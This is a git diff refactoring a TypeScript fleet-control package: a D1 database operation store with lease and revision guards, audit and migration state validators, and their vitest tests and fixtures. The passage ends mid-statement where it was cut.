files changed, 173 insertions(+), 177 deletions(-) diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index 0a47e47c..4bea4e5f 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -143,7 +143,7 @@ function parseJson(value: string): unknown { } } -function rowPayloadFromUnknown( +function stagedRowForKindFromUnknown( kind: FleetOperationKind, row: unknown, ): FleetOperationStagedRow { @@ -264,7 +264,7 @@ export class D1FleetOperationStore implements FleetOperationStore { } } - #leaseExists(_kind: FleetOperationKind): string { + #leaseExists(): string { return `EXISTS (SELECT 1 FROM ${LEASE_TABLE} WHERE account_id = ? AND operation_kind = ? AND owner_token = ? AND expires_at > ${DB_NOW_MS})`; @@ -290,9 +290,7 @@ export class D1FleetOperationStore implements FleetOperationStore { kind: FleetOperationKind, operation: (lease: FleetOperationLease) => Promise, ): Promise { - return this.#withAccountOperationLeaseInternal(kind, (lease) => - operation(lease), - ); + return this.#withAccountOperationLeaseInternal(kind, operation); } async #withAccountOperationLeaseInternal( @@ -374,6 +372,7 @@ export class D1FleetOperationStore implements FleetOperationStore { renewalErrors.push(error); } } + let releaseFailed = false; let releaseError: unknown; try { const released = await this.#db.query( @@ -386,12 +385,13 @@ export class D1FleetOperationStore implements FleetOperationStore { throw this.#leaseLost(kind); } } catch (error) { + releaseFailed = true; releaseError = error; } const errors: unknown[] = []; if (operationFailed) errors.push(operationError); errors.push(...renewalErrors); - if (releaseError !== undefined) errors.push(releaseError); + if (releaseFailed) errors.push(releaseError); if (errors.length === 1) throw errors[0]; if (errors.length > 1) { throw new AggregateError( @@ -474,7 +474,7 @@ export class D1FleetOperationStore implements FleetOperationStore { OR (active_operation_id IS NULL AND NOT EXISTS (SELECT 1 FROM ${OPERATION_TABLE} WHERE account_id = ? AND operation_id = ?))) - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} RETURNING active_operation_id`, bindings: [ operationId, @@ -528,7 +528,7 @@ export class D1FleetOperationStore implements FleetOperationStore { const record = fleetOperationRunRecordFromUnknown( parseJson(rowString(persisted, 'op_record')), ); - const created = (result[2] ?? []).some( + const created = (result.at(-1) ?? []).some( (row) => row.operation_id === operationId, ); return { @@ -563,13 +563,13 @@ export class D1FleetOperationStore implements FleetOperationStore { : undefined; } - #operationGuard(kind: FleetOperationKind): string { + #operationGuard(): string { return `FROM ${OPERATION_TABLE} r WHERE r.account_id = ? AND r.operation_id = ? AND r.operation_kind = ? AND json_extract(r.op_record, '$.state') = 'running' AND json_extract(r.op_record, '$.progress.revision') = ? - AND ${this.#leaseExists(kind)}`; + AND ${this.#leaseExists()}`; } #operationGuardBindings( @@ -587,6 +587,12 @@ export class D1FleetOperationStore implements FleetOperationStore { ]; } + #rowsBelowOrdinalSql(): string { + return `FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal < ?`; + } + async #stageRows( kind: FleetOperationKind, token: string, @@ -596,7 +602,9 @@ export class D1FleetOperationStore implements FleetOperationStore { if (!fleetOperationSafeInteger(expectedRevision)) { throw new FleetOperationStateError(); } - const rows = input.rows.map((row) => rowPayloadFromUnknown(kind, row)); + const rows = input.rows.map((row) => + stagedRowForKindFromUnknown(kind, row), + ); for ( let offset = 0; offset < rows.length; @@ -612,7 +620,7 @@ export class D1FleetOperationStore implements FleetOperationStore { account_id, operation_id, row_kind, ordinal, payload ) SELECT ?, ?, ?, ?, ? - ${this.#operationGuard(kind)} + ${this.#operationGuard()} ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING RETURNING row_kind, ordinal`, bindings: [ @@ -641,10 +649,10 @@ export class D1FleetOperationStore implements FleetOperationStore { const { operationId, expectedRevision } = input; const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); const rows = (input.rows ?? []).map((row) => - rowPayloadFromUnknown(kind, row), + stagedRowForKindFromUnknown(kind, row), ); const updateRows = (input.updateRows ?? []).map((row) => - rowPayloadFromUnknown(kind, row), + stagedRowForKindFromUnknown(kind, row), ); if (updateRows.some((row) => row.rowKind !== 'item')) { throw new FleetOperationStateError(); @@ -655,9 +663,12 @@ export class D1FleetOperationStore implements FleetOperationStore { if (new Set(mutationKeys).size !== mutationKeys.length) { throw new FleetOperationStateError(); } - if (rows.length + updateRows.length + 1 > 100) { + if ( + rows.length + updateRows.length + 1 > + FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { throw new Error( - 'commitProgress exceeds the operation batch budget of 100 statements', + `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`, ); } if ( @@ -696,11 +707,7 @@ export class D1FleetOperationStore implements FleetOperationStore { // A retry may stage byte-identical later members before this transition; // later watermarks and finalize's totals cover those surplus ordinals. const watermarkSql = watermarks - .map( - () => `AND (SELECT COUNT(*) FROM ${ROW_TABLE} - WHERE account_id = ? AND operation_id = ? - AND row_kind = ? AND ordinal < ?) = ?`, - ) + .map(() => `AND (SELECT COUNT(*) ${this.#rowsBelowOrdinalSql()}) = ?`) .join('\n'); // Every row mutation carries the SAME lease, kind, state, and PRE-update // revision guard as the operation update, so stale or losing writers land @@ -711,7 +718,7 @@ export class D1FleetOperationStore implements FleetOperationStore { account_id, operation_id, row_kind, ordinal, payload ) SELECT ?, ?, ?, ?, ? - ${this.#operationGuard(kind)} + ${this.#operationGuard()} ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING RETURNING row_kind, ordinal`, bindings: [ @@ -728,7 +735,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET payload = ? WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal = ? - AND EXISTS (SELECT 1 ${this.#operationGuard(kind)}) + AND EXISTS (SELECT 1 ${this.#operationGuard()}) RETURNING row_kind, ordinal`, bindings: [ bytes, @@ -746,7 +753,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND operation_kind = ? AND json_extract(op_record, '$.state') = 'running' AND json_extract(op_record, '$.progress.revision') = ? - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} ${watermarkSql} RETURNING operation_id`, bindings: [ @@ -799,9 +806,7 @@ export class D1FleetOperationStore implements FleetOperationStore { } for (const [rowKind, watermark] of watermarks) { const stored = await this.#db.query( - `SELECT COUNT(*) AS count FROM ${ROW_TABLE} - WHERE account_id = ? AND operation_id = ? - AND row_kind = ? AND ordinal < ?`, + `SELECT COUNT(*) AS count ${this.#rowsBelowOrdinalSql()}`, [this.#accountId, operationId, rowKind, watermark], ); if (rowNumber(stored[0], 'count') !== watermark) { @@ -871,7 +876,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND operation_kind = ? AND json_extract(op_record, '$.state') = 'running' AND json_extract(op_record, '$.progress.revision') = ? - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} ${countSql} ${completeSql} RETURNING operation_id`, @@ -898,7 +903,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET active_operation_id = NULL WHERE account_id = ? AND operation_kind = ? AND active_operation_id = ? - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} WHERE account_id = ? AND operation_id = ? AND operation_kind = ? @@ -937,12 +942,15 @@ export class D1FleetOperationStore implements FleetOperationStore { ); if (head[0]?.active_operation_id === operationId) { // The only legal repair is the head release; operation data is immutable. + // The readback above already proved `persisted.state === 'finalized'`, + // which stands in for the in-batch finalized-state EXISTS guard R3's + // repair carries. await this.#db.query( `UPDATE ${HEAD_TABLE} SET active_operation_id = NULL WHERE account_id = ? AND operation_kind = ? AND active_operation_id = ? - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} RETURNING account_id`, [ this.#accountId, @@ -969,19 +977,19 @@ export class D1FleetOperationStore implements FleetOperationStore { ); } const updateRows = (input.updateRows ?? []).map((row) => - rowPayloadFromUnknown(kind, row), + stagedRowForKindFromUnknown(kind, row), ); if (updateRows.some((row) => row.rowKind !== 'item')) { throw new FleetOperationStateError(); } - const payloads = updateRows.map((row) => ({ - row, - bytes: serializedPayload(row), - })); const updateKeys = updateRows.map((row) => `${row.rowKind}:${row.ordinal}`); if (new Set(updateKeys).size !== updateKeys.length) { throw new FleetOperationStateError(); } + const payloads = updateRows.map((row) => ({ + row, + bytes: serializedPayload(row), + })); if ( runRecord.operationId !== operationId || runRecord.kind !== kind || @@ -1011,7 +1019,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET payload = ? WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal = ? - AND EXISTS (SELECT 1 ${this.#operationGuard(kind)}) + AND EXISTS (SELECT 1 ${this.#operationGuard()}) RETURNING row_kind, ordinal`, bindings: [ bytes, @@ -1030,7 +1038,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND operation_kind = ? AND json_extract(op_record, '$.state') = 'running' AND json_extract(op_record, '$.progress.revision') = ? - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} ${exactRows} RETURNING operation_id`, bindings: [ @@ -1054,7 +1062,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET active_operation_id = NULL WHERE account_id = ? AND operation_kind = ? AND active_operation_id = ? - AND ${this.#leaseExists(kind)} + AND ${this.#leaseExists()} AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} WHERE account_id = ? AND operation_id = ? AND operation_kind = ? @@ -1103,8 +1111,8 @@ export class D1FleetOperationStore implements FleetOperationStore { ): Promise< Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> > { - await this.#ensureSchema(); assertLimit(input.limit); + await this.#ensureSchema(); if ( !FLEET_OPERATION_ROW_KINDS.includes(input.rowKind) || (input.afterOrdinal !== undefined && @@ -1116,6 +1124,7 @@ export class D1FleetOperationStore implements FleetOperationStore { const operation = await this.#operationRow(input.operationId); if (!operation) throw unknownOperation(input.operationId); const kind = rowString(operation, 'operation_kind') as FleetOperationKind; + assertKind(kind); const stored = await this.#db.query( `SELECT row_kind, ordinal, payload FROM ${ROW_TABLE} WHERE account_id = ? AND operation_id = ? AND row_kind = ? @@ -1131,7 +1140,7 @@ export class D1FleetOperationStore implements FleetOperationStore { ], ); const rows = stored.slice(0, input.limit).map((row) => - rowPayloadFromUnknown(kind, { + stagedRowForKindFromUnknown(kind, { rowKind: rowString(row, 'row_kind'), ordinal: rowNumber(row, 'ordinal'), payload: parseJson(rowString(row, 'payload')), @@ -1146,7 +1155,6 @@ export class D1FleetOperationStore implements FleetOperationStore { limit: number; }>, ): Promise> { - assertKind(input.kind); assertLimit(input.limit); if (input.kind === 'audit' && !this.#inventoryStore) { throw new FleetOperationStoreCapabilityError(); @@ -1184,9 +1192,11 @@ export class D1FleetOperationStore implements FleetOperationStore { const record = fleetAuditOperationRecordFromUnknown( parseJson(rowString(candidate, 'op_record')), ); + const inventoryStore = this + .#inventoryStore as FleetInventoryRunStore; // Lock order is operation KIND lease outer, inventory ACCOUNT lease // inner, and is never acquired in reverse by production callers. - await this.#inventoryStore?.releasePin({ + await inventoryStore.releasePin({ generation: record.progress.generation, pinnedBy: `fleet-audit:${operationId}`, }); @@ -1227,7 +1237,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND latest.operation_kind = o.operation_kind AND json_extract(latest.op_record, '$.state') = 'finalized') )) - AND ${this.#leaseExists(kind)}`; + AND ${this.#leaseExists()}`; const guardBindings = [ this.#accountId, operationId, diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts index ff5ea895..4728f408 100644 --- a/packages/fleet-control/src/fleet-audit-state.ts +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -7,16 +7,15 @@ import { import { assertFleetOperationExactKeys, FLEET_OPERATION_ITEM_BOUND, - FLEET_OPERATION_STRING_BYTE_BOUND, type FleetOperationProgress, type FleetOperationRunRecord, - FleetOperationStateError, fleetOperationBoundedString, fleetOperationFailureFromUnknown, fleetOperationPlainRecord, fleetOperationRunRecordFromUnknown, fleetOperationSafeInteger, fleetOperationTextHasControlBytes, + malformed, } from './fleet-operation-state.js'; export type FleetAuditStage = @@ -132,10 +131,6 @@ export type FleetAuditFactPayload = }> | Readonly<{ factKind: 'duplicate-namespace'; key: string }>; -function malformed(): never { - throw new FleetOperationStateError(); -} - function structurallySafeText(value: unknown): value is string { return ( fleetOperationBoundedString(value) && @@ -180,9 +175,10 @@ export function nextAuditStage( ): FleetAuditStage { const current = fleetAuditStageFromUnknown(stage); if (!exhausted || current.step === 'finalize') return current; - const next = - FLEET_AUDIT_STAGE_ORDER[FLEET_AUDIT_STAGE_ORDER.indexOf(current.step) + 1]; - return stageEntry(next ?? 'finalize'); + const next = FLEET_AUDIT_STAGE_ORDER[ + FLEET_AUDIT_STAGE_ORDER.indexOf(current.step) + 1 + ] as FleetAuditStage['step']; + return stageEntry(next); } export function fleetAuditProgressFromUnknown( @@ -315,12 +311,5 @@ export function fleetAuditFactRowFromUnknown( } export function withheldAuditDetail(kind: FleetAuditFindingKind): string { - const detail = `finding detail withheld: unsafe bytes (kind '${kind}')`; - if ( - new TextEncoder().encode(detail).byteLength > - FLEET_OPERATION_STRING_BYTE_BOUND - ) { - return malformed(); - } - return detail; + return `finding detail withheld: unsafe bytes (kind '${kind}')`; } diff --git a/packages/fleet-control/src/fleet-migration-state.ts b/packages/fleet-control/src/fleet-migration-state.ts index 7ba34fa0..2fe80c2c 100644 --- a/packages/fleet-control/src/fleet-migration-state.ts +++ b/packages/fleet-control/src/fleet-migration-state.ts @@ -10,12 +10,12 @@ import { FLEET_OPERATION_ITEM_BOUND, type FleetOperationProgress, type FleetOperationRunRecord, - FleetOperationStateError, fleetOperationFailureFromUnknown, fleetOperationPlainRecord, fleetOperationRunRecordFromUnknown, fleetOperationSafeInteger, fleetOperationSha256, + malformed, } from './fleet-operation-state.js'; export const FLEET_MIGRATION_STEPS = Object.freeze([ @@ -71,10 +71,6 @@ export interface FleetMigrationProgress extends FleetOperationProgress { readonly completedItemCount: number; } -function malformed(): never { - throw new FleetOperationStateError(); -} - export function fleetMigrationPlanEntryFromUnknown( value: unknown, ): FleetMigrationPlanEntry { diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index bc4a2ad5..3ea982dd 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -36,10 +36,14 @@ export const FLEET_OPERATION_KINDS = Object.freeze([ 'migration', ] as const); export type FleetOperationKind = (typeof FLEET_OPERATION_KINDS)[number]; -export type FleetOperationRowKind = 'record' | 'finding' | 'item' | 'fact'; - -export const FLEET_OPERATION_ROW_KINDS: readonly FleetOperationRowKind[] = - Object.freeze(['record', 'finding', 'item', 'fact']); +/** Every staged row kind. */ +export const FLEET_OPERATION_ROW_KINDS = Object.freeze([ + 'record', + 'finding', + 'item', + 'fact', +] as const); +export type FleetOperationRowKind = (typeof FLEET_OPERATION_ROW_KINDS)[number]; export interface FleetOperationToken { readonly version: 1; @@ -210,12 +214,14 @@ export interface FleetOperationLease { ): Promise; } -function malformed(): never { +export function malformed(): never { throw new FleetOperationStateError(); } +const TEXT_ENCODER = new TextEncoder(); + function utf8Length(value: string): number { - return new TextEncoder().encode(value).byteLength; + return TEXT_ENCODER.encode(value).byteLength; } export function fleetOperationTextHasControlBytes(value: string): boolean { @@ -281,10 +287,7 @@ function canonicalIso(value: unknown): value is string { ); } -export function fleetOperationBoundedPlain( - value: unknown, - maxBytes: number, -): unknown { +function fleetOperationBoundedPlain(value: unknown, maxBytes: number): unknown { try { const plain = cloneBoundedPlainData(value, { maxDepth: DEPTH_BOUND, @@ -528,7 +531,7 @@ export function fleetOperationIntakeDigest(value: unknown): string { } /** Non-throwing write gate for composed audit finding details. */ -export function isDurableAuditDetailSafe(value: string): boolean { +export function isDurableAuditDetailSafe(value: unknown): boolean { if ( typeof value !== 'string' || utf8Length(value) > FLEET_OPERATION_STRING_BYTE_BOUND || diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 53e07588..997e65f3 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -11,6 +11,7 @@ import { D1FleetInventoryRunStore } from '../../src/d1-fleet-inventory-run-store import { D1FleetOperationStore } from '../../src/d1-fleet-operation-store.js'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { advanceDecommissionDeployment } from '../../src/decommission-advance.js'; +import type { FleetAuditProgress } from '../../src/fleet-audit-state.js'; import { canonicalFleetInventoryRunOptions, emptyFleetInventoryRowCounts, @@ -20,6 +21,7 @@ import { type FleetInventoryStagedRow, fleetInventoryOptionsDigest, } from '../../src/fleet-inventory-state.js'; +import type { FleetMigrationProgress } from '../../src/fleet-migration-state.js'; import type { FleetOperationKind, FleetOperationRunRecord, @@ -2594,7 +2596,7 @@ async function readyInventoryStore( } /** Drops the next batch's result rows, reproducing a lost D1 response. */ -function inventoryLostResponse( +function lostResponseDatabase( delegate: FleetStateDatabase, ): FleetStateDatabase & Readonly<{ loseNextBatch(): void }> { let lose = false; @@ -2877,7 +2879,7 @@ async function inventoryCommitConcurrency(db: D1Database): Promise { async function inventoryFinalizeConvergence(db: D1Database): Promise { await readyInventoryStore(db); - const database = inventoryLostResponse(new D1FleetStateDatabase(db)); + const database = lostResponseDatabase(new D1FleetStateDatabase(db)); const store = inventoryStore(database); const operationId = inventoryOperationId(2); const rows = inventoryRows('finalize'); @@ -3162,7 +3164,7 @@ function operationRun( state, progress: kind === 'audit' - ? { + ? ({ kind, revision, stage: { step: 'provider-findings', rowOrdinal: 0 }, @@ -3175,8 +3177,8 @@ function operationRun( ...(state === 'failed' ? { failure: { reason: 'operator-abandoned' as const } } : {}), - } - : { + } as FleetAuditProgress) + : ({ kind, revision, itemCount: 0, @@ -3185,9 +3187,9 @@ function operationRun( ...(state === 'failed' ? { failure: { reason: 'operator-abandoned' as const } } : {}), - }, + } as FleetMigrationProgress), updatedAt: '2026-09-01T00:00:00.000Z', - } as unknown as FleetOperationRunRecord; + }; } function operationAdvanced( @@ -3335,7 +3337,7 @@ async function operationCommitConcurrency(db: D1Database): Promise { async function operationFinalizeConvergence(db: D1Database): Promise { await readyOperationStore(db); - const database = inventoryLostResponse(new D1FleetStateDatabase(db)); + const database = lostResponseDatabase(new D1FleetStateDatabase(db)); const target = operationStore(database); const id = operationId(2); return target.withAccountOperationLease('migration', async (lease) => { @@ -3522,7 +3524,7 @@ async function operationLeaseLifecycle(db: D1Database): Promise { ); const originalExpiresAt = Number(original[0]?.expires_at); if (!Number.isFinite(originalExpiresAt)) { - throw new Error('operation lease did not expose the original expiry'); + throw new Error('operation lease did not expose its original expiry'); } clock.advance(2_000); clock.allowHeartbeat(); @@ -3538,7 +3540,7 @@ async function operationLeaseLifecycle(db: D1Database): Promise { contenderRejected = true; } if (clock.now() <= originalExpiresAt) { - throw new Error('controlled D1 time did not pass original expiry'); + throw new Error('controlled D1 time did not pass the original expiry'); } }); const remaining = await db diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index bc407eb4..b798f785 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -4,8 +4,8 @@ import { describe, expect, it } from 'vitest'; import type { DriftFinding } from '../src/fleet.js'; import { driftFindingRowFromUnknown, - FLEET_AUDIT_FINDING_KINDS, FLEET_AUDIT_STAGE_ORDER, + type FleetAuditFindingKind, fleetAuditFactRowFromUnknown, fleetAuditOperationRecordFromUnknown, fleetAuditStageFromUnknown, @@ -23,7 +23,11 @@ import { canonicalFleetOperationBytes, classifyFleetOperationToken, FLEET_MIGRATION_PLAN_BOUND, + FLEET_OPERATION_INTAKE_BYTE_BOUND, FLEET_OPERATION_RECORD_BYTE_BOUND, + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND, + FLEET_OPERATION_STRING_BYTE_BOUND, FLEET_OPERATION_TOKEN_BYTE_BOUND, FleetOperationStateError, FleetOperationTokenError, @@ -290,7 +294,10 @@ describe('fleet operation state', () => { expect(() => fleetOperationRunRecordFromUnknown({ ...auditRecord(), - progress: { ...auditProgress(), text: 'x'.repeat(4097) }, + progress: { + ...auditProgress(), + text: 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND + 1), + }, }), ).toThrow(FleetOperationStateError); expect(() => @@ -308,10 +315,17 @@ describe('fleet operation state', () => { }); it('row payload 16 KiB bound + 96 KiB record-row allowance', () => { + const valueBytes = 3000; + const rowPayloadOverflowCount = Math.ceil( + FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND / valueBytes, + ); + const recordRowOverflowCount = Math.ceil( + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND / valueBytes, + ); const payload = Object.fromEntries( - Array.from({ length: 6 }, (_, index) => [ + Array.from({ length: rowPayloadOverflowCount }, (_, index) => [ `value${index}`, - 'x'.repeat(3000), + 'x'.repeat(valueBytes), ]), ); expect(() => @@ -333,9 +347,9 @@ describe('fleet operation state', () => { rowKind: 'record', ordinal: 0, payload: Object.fromEntries( - Array.from({ length: 34 }, (_, index) => [ + Array.from({ length: recordRowOverflowCount }, (_, index) => [ `value${index}`, - 'x'.repeat(3000), + 'x'.repeat(valueBytes), ]), ), }), @@ -346,6 +360,9 @@ describe('fleet operation state', () => { const atBound = Array.from({ length: 4096 }, (_, index) => 'x'.repeat(index === 0 ? 4092 : 4093), ); + expect(canonicalFleetOperationBytes(atBound).length).toBe( + FLEET_OPERATION_INTAKE_BYTE_BOUND, + ); expect(() => fleetOperationIntakeDigest(atBound)).not.toThrow(); const aboveBound = [...atBound]; aboveBound[0] = `${aboveBound[0]}x`; @@ -355,29 +372,18 @@ describe('fleet operation state', () => { }); it('structured-field validation accepts a provider-claimed finding tag and rejects unsafe bytes', () => { - expect( - driftFindingRowFromUnknown({ - tenantTag: 'bearer', - environment: 'production', - kind: 'audit-error', - detail: 'safe detail', - }).tenantTag, - ).toBe('bearer'); - expect( - driftFindingRowFromUnknown({ - tenantTag: 'Prod-1', - environment: 'production', - kind: 'audit-error', - detail: 'safe detail', - }).tenantTag, - ).toBe('Prod-1'); + const base = { + environment: 'production', + kind: 'audit-error', + detail: 'safe detail', + } as const; + for (const tenantTag of ['bearer', 'Prod-1']) { + expect(driftFindingRowFromUnknown({ ...base, tenantTag }).tenantTag).toBe( + tenantTag, + ); + } expect(() => - driftFindingRowFromUnknown({ - tenantTag: 'Bad\nTag', - environment: 'production', - kind: 'audit-error', - detail: 'safe detail', - }), + driftFindingRowFromUnknown({ ...base, tenantTag: 'Bad\nTag' }), ).toThrow(FleetOperationStateError); }); @@ -512,42 +518,19 @@ describe('fleet operation state', () => { it("the audit kind vocabulary is set-equal to DriftFinding['kind']", () => { type DriftKind = DriftFinding['kind']; - const expected = [ - 'missing-deployment', - 'duplicate-deployment', - 'database-mismatch', - 'duplicate-database', - 'duplicate-namespace', - 'binding-drift', - 'route-drift', - 'orphan-deployment', - 'orphan-database', - 'missing-namespace', - 'orphan-namespace', - 'orphan-route', - 'missing-r2-bucket', - 'orphan-r2-bucket', - 'r2-bucket-drift', - 'duplicate-route', - 'incomplete-provisioning', - 'version-drift', - 'maintenance-stale', - 'audit-error', - 'malformed-script-registration', - 'stale-script-registration', - 'malformed-route', - 'stale-route', - 'incomplete-deployment', - 'trusted-dispatch-namespace', - 'unknown-dispatch-scripts', - ] as const satisfies readonly DriftKind[]; - const exhaustive: Exclude< + const driftIsSubsetOfAudit: Exclude< DriftKind, - (typeof expected)[number] + FleetAuditFindingKind + > extends never + ? true + : false = true; + const auditIsSubsetOfDrift: Exclude< + FleetAuditFindingKind, + DriftKind > extends never ? true : false = true; - expect(exhaustive).toBe(true); - expect(new Set(FLEET_AUDIT_FINDING_KINDS)).toEqual(new Set(expected)); + expect(driftIsSubsetOfAudit).toBe(true); + expect(auditIsSubsetOfDrift).toBe(true); }); }); diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts index 8487d066..3ada49ea 100644 --- a/packages/fleet-control/test/fleet-operation-store.test.ts +++ b/packages/fleet-control/test/fleet-operation-store.test.ts @@ -2,12 +2,14 @@ import { describe, expect, it } from 'vitest'; import { D1FleetOperationStore } from '../src/d1-fleet-operation-store.js'; +import type { FleetAuditProgress } from '../src/fleet-audit-state.js'; import type { FleetInventoryGeneration, FleetInventoryGenerationRef, FleetInventoryRunRecord, FleetInventoryRunStore, } from '../src/fleet-inventory-state.js'; +import type { FleetMigrationProgress } from '../src/fleet-migration-state.js'; import { classifyFleetOperationToken, type FleetOperationKind, @@ -55,7 +57,7 @@ class MemoryD1 implements FleetStateDatabase { readonly batchSizes: number[] = []; /** Binding counts for every statement executed in batch order. */ readonly bindingCounts: number[] = []; - /** Statements the next batch drops after committing, for lost responses. */ + /** Makes the next committed batch drop its result rows, for lost responses. */ hideBatchResults = false; /** Makes the next committed batch throw as if its response were lost. */ failNextBatchAfterCommit = false; @@ -128,7 +130,7 @@ function runRecord( state, progress: kind === 'audit' - ? { + ? ({ kind, revision, stage: { step: 'provider-findings', rowOrdinal: 0 }, @@ -141,8 +143,8 @@ function runRecord( ...(state === 'failed' ? { failure: { reason: 'operator-abandoned' as const } } : {}), - } - : { + } as FleetAuditProgress) + : ({ kind, revision, itemCount: 1, @@ -156,9 +158,9 @@ function runRecord( }, } : {}), - }, + } as FleetMigrationProgress), updatedAt: NOW, - } as unknown as FleetOperationRunRecord; + }; } function advanced( @@ -295,6 +297,14 @@ async function rejection(operation: Promise): Promise { throw new Error('operation unexpectedly resolved'); } +function rowCount(db: MemoryD1): number { + return Number( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_operation_rows') + .all()[0]?.count, + ); +} + class FakeInventoryStore implements FleetInventoryRunStore { readonly pins = new Set(); readonly releases: string[] = []; @@ -368,7 +378,10 @@ describe('D1FleetOperationStore', () => { const result = await store(db).withAccountOperationLease('audit', (lease) => start(lease), ); - expect(result).toEqual({ outcome: 'created', record: auditRun(0) }); + expect(result).toEqual({ + outcome: 'created', + record: runRecord('audit', 0), + }); expect( db.sqlite .prepare( @@ -595,7 +608,7 @@ describe('D1FleetOperationStore', () => { ], expectedRowWatermarks: { record: 2 }, } as const; - const mark = db.bindingCounts.length; + const bindingMark = db.bindingCounts.length; db.failNextBatchAfterCommit = true; await expect(lease.commitProgress(transition)).rejects.toThrow( 'committed batch response lost', @@ -606,7 +619,9 @@ describe('D1FleetOperationStore', () => { ...Array.from({ length: 12 }, () => 12), 13, ]; - expect(db.bindingCounts.slice(mark)).toEqual(commitBindingCounts); + expect(db.bindingCounts.slice(bindingMark)).toEqual( + commitBindingCounts, + ); await expect( lease.commitProgress({ ...transition, @@ -616,7 +631,7 @@ describe('D1FleetOperationStore', () => { `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, ); const converged = await lease.commitProgress(transition); - expect(db.bindingCounts.slice(mark)).toEqual([ + expect(db.bindingCounts.slice(bindingMark)).toEqual([ ...commitBindingCounts, ...commitBindingCounts, ...commitBindingCounts, @@ -776,8 +791,9 @@ describe('D1FleetOperationStore', () => { 'audit', async (lease) => { const created = await start(lease); - const mark = acceptedDb.batchSizes.length; - const markB = acceptedDb.bindingCounts.length; + const batchMark = acceptedDb.batchSizes.length; + const bindingMark = acceptedDb.bindingCounts.length; + // 99 rows + 1 run-update statement = the 100-statement batch boundary. await lease.commitProgress({ operationId: OPERATION_ID, expectedRevision: 0, @@ -785,8 +801,11 @@ describe('D1FleetOperationStore', () => { rows: Array.from({ length: 99 }, (_, index) => recordRow(index)), expectedRowWatermarks: { record: 0 }, }); - expect(acceptedDb.batchSizes.slice(mark)).toEqual([100]); - expect(acceptedDb.bindingCounts.slice(markB)).toEqual([ + expect(acceptedDb.batchSizes.slice(batchMark)).toEqual([100]); + // Per-statement binding counts: see the derivation comment on + // "watermark guards hold under a retry..." above (12 per row, 13 for + // the run update). + expect(acceptedDb.bindingCounts.slice(bindingMark)).toEqual([ ...Array.from({ length: 99 }, () => 12), 13, ]); @@ -794,11 +813,14 @@ describe('D1FleetOperationStore', () => { ); const db = new MemoryD1(); - const error = await store(db).withAccountOperationLease( + const target = store(db); + const error = await target.withAccountOperationLease( 'audit', async (lease) => { const created = await start(lease); - return rejection( + const batchMark = db.batchSizes.length; + // 100 rows + 1 run-update statement is one over the boundary. + const rejected = await rejection( lease.commitProgress({ operationId: OPERATION_ID, expectedRevision: 0, @@ -806,11 +828,16 @@ describe('D1FleetOperationStore', () => { rows: Array.from({ length: 100 }, (_, index) => recordRow(index)), }), ); + expect(db.batchSizes.slice(batchMark)).toEqual([]); + return rejected; }, ); expect(error.message).toBe( 'commitProgress exceeds the operation batch budget of 100 statements', ); + const persisted = await target.readOperationById(OPERATION_ID); + expect(persisted?.state).toBe('running'); + expect(persisted?.progress.revision).toBe(0); }); it('finalize total-count guards (audit: finding + record + fact; migration: item)', async () => { @@ -1370,8 +1397,6 @@ describe('D1FleetOperationStore', () => { const inventory = new FakeInventoryStore(); const target = store(db, 'account-primary', inventory); await seedTerminal(target, 'audit', FOURTH_OPERATION_ID, 'failed'); - // Lock order is operation KIND lease outer, inventory ACCOUNT lease inner, - // and is never acquired in reverse by production callers. await inventory.pinGeneration({ generation: 1, pinnedBy: 